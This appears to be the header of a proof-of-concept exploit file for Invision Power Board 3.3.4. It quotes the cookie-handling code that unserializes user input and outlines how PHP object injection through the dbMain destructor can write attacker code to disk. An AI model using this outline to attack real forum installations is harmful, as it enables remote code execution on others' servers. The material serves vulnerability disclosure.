Invision Power Board (IP.Board) 3.3.4 – ‘Unserialize()’ PHP Code Execution
<?php /* ---------------------------------------------------------------- Invision Power Board <= 3.3.4 "unserialize()" PHP Code Execution ---------------------------------------------------------------- author..............: Egidio Romano aka EgiX mail................: n0b0d13s[at]gmail[dot]com software link.......: http://www.invisionpower.com/ +-------------------------------------------------------------------------+ | This proof of concept code was written for educational purpose only. | | Use it at your own risk. Author will be not responsible for any damage. | +-------------------------------------------------------------------------+ [-] Vulnerable code in IPSCookie::get() method defined in /admin/sources/base/core.php 4015. static public function get($name) 4016. { 4017. // Check internal data first 4018. if ( isset( self::$_cookiesSet[ $name ] ) ) 4019. { 4020. return self::$_cookiesSet[ $name ]; 4021. } 4022. else if ( isset( $_COOKIE[ipsRegistry::$settings['cookie_id'].$name] ) ) 4023. { 4024. $_value = $_COOKIE[ ipsRegistry::$settings['cookie_id'].$name ]; 4025. 4026. if ( substr( $_value, 0, 2 ) == 'a:' ) 4027. { 4028. return unserialize( stripslashes( urldecode( $_value ) ) ); 4029. } The vulnerability is caused due to this method unserialize user input passed through cookies without a proper sanitization. The only one check is done at line 4026, where is controlled that the serialized string starts with 'a:', but this is not sufficient to prevent a "PHP Object Injection" because an attacker may send a serialized string which represents an array of objects. This can be exploited to execute arbitrary PHP code via the "__destruct()" method of the "dbMain" class, which calls the "writeDebugLog" method to write debug info into a file. PHP code may be injected only through the $_SERVER['QUERY_STRING'] variable, for this reason successful exploitation of this vulnerability requires short_open_tag to be enabled.
